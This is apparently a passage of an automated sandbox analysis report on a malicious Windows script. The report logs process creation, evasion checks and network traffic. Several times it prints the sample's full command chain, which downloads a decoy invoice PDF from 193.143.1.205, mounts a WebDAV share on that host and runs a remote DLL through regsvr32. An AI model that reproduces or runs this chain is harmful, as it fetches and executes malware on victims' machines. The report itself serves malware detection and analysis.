Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5937.js.csv");ITextStream.WriteLine(" entry:8688 f:ixigxizl");ITextStream.WriteLine(" exec:2 f:ixigxizl");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3949			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5657			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 3949 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 5657 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1384	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1483440806.000002924675F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1483353804.00000292466F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1478186990.000002924675F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2720841371.000002190C62F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2722247140.0000021911C57000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

